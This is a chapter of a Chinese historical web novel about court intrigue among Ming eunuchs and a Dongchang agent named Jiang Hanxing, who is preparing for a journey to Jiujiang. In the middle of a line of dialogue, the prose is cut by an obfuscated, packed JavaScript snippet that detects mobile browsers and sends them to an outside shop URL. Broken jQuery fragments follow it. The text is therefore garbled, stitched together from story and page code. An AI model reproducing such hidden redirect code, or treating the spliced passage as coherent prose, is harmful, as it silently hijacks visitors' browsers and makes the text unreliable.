第一百三十四章
    过黄河再过长江,那样远,纵然一切顺利,一来一回,待到再回到京城,怕是也要到来年初秋了。她可不觉得自己是什么心智异常坚定之人,能到时候还能坚持着一条路直走到黑。

    但刘瑾的手已经落在她肩膀上了:“好好做,待到回来后,咱家不会亏待你的。”

    刘瑾都这样开口了。姜寒星除了应承下来,也别无他法,她也只能一拱手:“卑职谨遵刘公公教诲。”

    张永也上前来拍了拍她肩膀,一行人离了衙门去。

    “看不出来,寒星姑娘还挺得前厂公的青眼。”马永成看向了姜寒星,在刘瑾一行人走了之后,皮笑肉不笑的。

    姜寒星没说话,她能说什么呢,刘瑾的种种举动都表明了。她只能也笑着,看向了马永成。

    当初让马公公去向刘瑾求情的法子,是我想出来的,这件事想来许千户并不曾对马公公说过吧。

    “怎么?寒星到如今还觉得自己能两头都给讨好了吗?”马永成显然看明白了她的眼神,明白的不能再明白,但这并不妨碍他丝毫软都不肯服,依旧只是很硬气的拿话来堵她。看起来已经完全疯了的模样。

    “厂公说笑了,”所以姜寒星没再搭理他,只是回马永成的话,“寒星一日在这东厂衙门里,便一日是厂公的人,若是有有损于厂公之举,便让寒星五雷天诛,永坠阎罗。”

    这可真是好毒的誓。

    马永成满脸的冷笑渐渐撤了下来。不管怎样,他方才就没要同刘瑾死磕的心,现在当然也不会为了一个小番役再去得罪他:“你能有这个觉悟便好。人往高处走,咱家也不是不能明白。只是咱家终究心眼儿小,枕榻旁容不下异心人,待到从九江回来,便剥了这身服制往你的高处去吧。”

    如此,便是要她只能一条路走到黑了。

    姜寒星跪下来,冲他磕了个头,不管他究竟是为了不太得罪刘瑾还是怎样,总之是谢他的还算宽宏大量:“谢厂公。”

    “回家收拾包裹去吧,不是身上还带着伤吗,好好养一养。去九江之前也不必再到衙门里来了。”

    “是。”姜寒星说着,退了下去。

    身后许泛在问马永成:“刑部是谁要去?”

    “只是协助,应该是江西司的主事郎中员外郎之类的吧,你问这个做什么?哎我说,你有空问这个,”马永成听着不大乐意的样子,“倒不如同我好好讲一讲,你方才究竟是吃错了什么药了,在刘瑾跟前那样强横是做什么?你如今难道仅仅代表着你自己吗……”

    姜寒星的脚步并不能停,但这并不妨碍她心里咯噔一下,拨云见雾,瞬间明了了。

    刑部江西司主事,那不就是徐嘉吗?

    怪不得他许泛宁肯得罪了刘瑾也非要把她往这事上推呢。姜寒星咬着牙拐进了东厂旁的胡同里。

    张永在这里等着她。

    这姜寒星真没想到,一时间狰狞的神色凝滞在脸上,是装作抬头看了下天,才算是恢复如常:“好蓝的天。”

    “是啊,雪后初晴,分外明朗些。”张永笑了一下,问她,“你同那位许千户,是有什么过节?”

    那当然,不然许泛何处当时那样对她。但究竟是什么过节,姜寒星却并不能说。她两头都抓着许泛把柄,却也是两头都让自己为难。难道同张永说当初让马永成去向刘瑾求情的主意是她给出的吗?不管她当初究竟是因为什么,张永肯定都难免因此对她生疑啊。

    所以她笑着含混了过去:“是有些不愉快。”

    但张永很执着:“那便说不通了,明明不愉快,却还一直指名道姓的一个劲儿要你去。”

    “这不是十分想把卑职身份在马公公跟前挑明吗?”姜寒星笑容苦涩起来,“您看,果然刘公公顿时便对卑职展现出异于他人的看重来了。”

    这事确实是他们对她的不住。张永轻咳一声,不再往下追究了:“马永成并没因此怎样你吧?”

    “那倒不至于。毕竟卑职是刘公公指定的人,他不敢不卖刘公公

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14308443|152282||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这个面子的。”

    这倒确实。张永点了点头,一时无话了。

    他无话,姜寒星却有许多的话要说。倘若徐嘉果然会去,那此次九江之行是谁在同谁博弈显然不言而喻,她至少得给弄明白她此行究竟是要去做什么。

    要不然她怕她到时候究竟是怎样死的都不知道。

    “监丞,刘公公究竟是要做什么……”

    “我不知晓,”张永很干脆利落的打断了她,“关于此事,刘公公什么都没同我讲。”

    他声音里有很明显的怨:“毕竟从头到尾都是张彩给他出的主意,毕竟张大才子的主意,我们这些蠢人原都是不配知晓的,一旦知晓岂不立即便坏了事去!”

    酸气简都要冲天了,想来应该也不至于是专门假装出来来骗她的。姜寒星松了口气,眼神却不由得暗了下去。

    “不过你不必介怀,”张永也意识到了,自己方才的行为实在是有些失态,他整理着神色去宽慰姜寒星,顺便把自己方才的种种不妥之举给掩盖过去,“刘公公不是都同你说了吗,装聋作哑便可,并不需你做什么的,你尽管放宽了心,就只当作是去顽去的!”

    呵呵

    。姜寒星干笑了两声。但愿吧。

    *

    敲定了要去九江那天,也就是于峰死的那天,是腊月十一。姜寒星想着,也那么许多的人,好几个衙门得协调着,最少不得挨到腊月底才能出发?

    结果腊月十三那天晚上,便有人来敲她家的门,同她说,明天一早便出发,走旱路,让天一亮便到城外驿站集合。

    姜寒星这几天一直琢磨着于峰死的那天,在衙门里说的那些话。刘瑾的话,张永的话,马永成的话,许泛的话……甚至孔方平的话,她都翻来覆去的琢磨了,也还是没弄明白刘瑾此行究竟是要做什么,只知道是同周臣之事有关。

    甚至还越想越糊涂了,徐嘉果真会去吗?真的李东阳也要插手吗?张永是同刘瑾因为什么事有了嫌隙吗?什么嫌隙?